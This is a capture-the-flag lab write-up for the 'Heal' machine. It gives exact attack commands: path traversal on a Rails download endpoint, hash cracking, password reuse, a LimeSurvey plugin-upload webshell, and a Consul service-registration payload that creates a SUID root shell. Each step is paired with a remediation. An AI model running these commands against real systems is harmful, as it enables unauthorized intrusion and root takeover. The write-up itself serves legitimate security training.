Heal
Summary
I mapped heal's web surface with virtual-host fuzzing, uncovering three hidden sites behind the single nginx front end: a React resume-builder SPA, a Rails API, and a LimeSurvey instance. The Rails backend's file-download endpoint failed to sanitize a filename parameter, allowing path traversal to pull the application's SQLite database straight off disk; cracking a bcrypt hash inside it recovered the credential ralph:[REDACTED: recovered credential]. That password was reused to log into the LimeSurvey administration panel, where the built-in plugin-upload feature was abused to install a malicious plugin containing a PHP webshell, yielding code execution as www-data.
Reading LimeSurvey's on-disk configuration file exposed a database password that had also been reused as the local Linux account password for the user ron, giving a full SSH shell and the user flag. Finally, a HashiCorp Consul agent running as root on the loopback interface with its default ACL policy set to "allow" accepted an unauthenticated service-check registration whose script definition ran arbitrary shell commands, which was used to mint a SUID root shell and capture the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"
export T="<a-value-you-captured-earlier>"Attack path — how the box was taken
Exact commands 3
nmap -sC -sV -p- $TARGETffuf -H 'Host: FUZZ.heal.htb' -u http://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <baseline-size>printf "$TARGET heal.htb api.heal.htb take-survey.heal.htb\n" | sudo tee -a /etc/hostsExact commands 6
curl --resolve api.heal.htb:80:$TARGET -sS -i -X POST http://api.heal.htb/signup -H 'Content-Type: application/json' --data '{"username":"pentest","fullname":"Pentest User","email":"pentest@heal.htb","password":"$PASSWORD5","password_confirmation":"$PASSWORD5"}'curl --resolve api.heal.htb:80:$TARGET -sS -X POST http://api.heal.htb/signin -H 'Content-Type: application/json' --data '{"email":"pentest@heal.htb","password":"$PASSWORD5"}' -D -curl --path-as-is -H "Authorization: Bearer $T" 'http://api.heal.htb/download?filename=../../config/database.yml'curl --path-as-is -H "Authorization: Bearer $T" 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -o dev.sqlite3sqlite3 dev.sqlite3 'select email,password_digest from users;'hashcat -m 3200 ralph_hash.txt rockyou.txtFixSanitize and constrain the Rails file-download endpointCritical
Exact commands 2
curl --resolve take-survey.heal.htb:80:$TARGET -sS -c cookies.txt -o login.html 'http://take-survey.heal.htb/index.php/admin/authentication/sa/login'curl --resolve take-survey.heal.htb:80:$TARGET -sS -D headers.txt -b cookies.txt -c cookies.txt -X POST 'http://take-survey.heal.htb/index.php/admin/authentication/sa/login' --data-urlencode 'YII_CSRF_TOKEN=<token-from-login.html>' --data-urlencode 'authMethod=Authdb' --data-urlencode 'user=ralph' --data-urlencode 'password=$PASSWORD8' --data-urlencode 'loginlang=default' --data-urlencode 'action=login'FixEnforce unique credentials per system and MFA on admin panelsHigh
Exact commands 3
zip Healx.zip config.xml shell.phpcurl --resolve take-survey.heal.htb:80:$TARGET -sS -b cookies.txt -F 'the_file=@Healx.zip' 'http://take-survey.heal.htb/index.php/admin/pluginmanager/sa/upload'curl --resolve take-survey.heal.htb:80:$TARGET -sS --get 'http://take-survey.heal.htb/upload/plugins/Healx/shell.php' --data-urlencode 'cmd=id'FixRestrict or disable LimeSurvey's plugin upload featureCritical
Exact commands 3
curl --resolve take-survey.heal.htb:80:$TARGET -sS --get 'http://take-survey.heal.htb/upload/plugins/Healx/shell.php' --data-urlencode 'cmd=cat /var/www/limesurvey/application/config/config.php'sshpass -p '$PASSWORD4' ssh -o StrictHostKeyChecking=no ron@$TARGET 'id'sshpass -p '$PASSWORD4' ssh -o StrictHostKeyChecking=no ron@$TARGET 'cat /home/ron/user.txt'FixStop storing and reusing plaintext database credentialsHigh
Exact commands 5
ssh ron@$TARGET 'cat /etc/consul.d/config.json'cat > /tmp/p.json <<'JSON'
{"Name":"x","ID":"x","Address":"127.0.0.1","Port":80,"Check":{"Args":["bash","-c","cp /bin/bash /tmp/rootbash && chmod 6777 /tmp/rootbash"],"Interval":"10s","Timeout":"5s"}}
JSONcurl -sS -X PUT --data-binary @/tmp/p.json -H 'Content-Type: application/json' http://127.0.0.1:8500/v1/agent/service/registersleep 12; /tmp/rootbash -p -c 'id'/tmp/rootbash -p -c 'cat /root/root.txt'FixLock down the Consul agent API and stop running it as rootCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |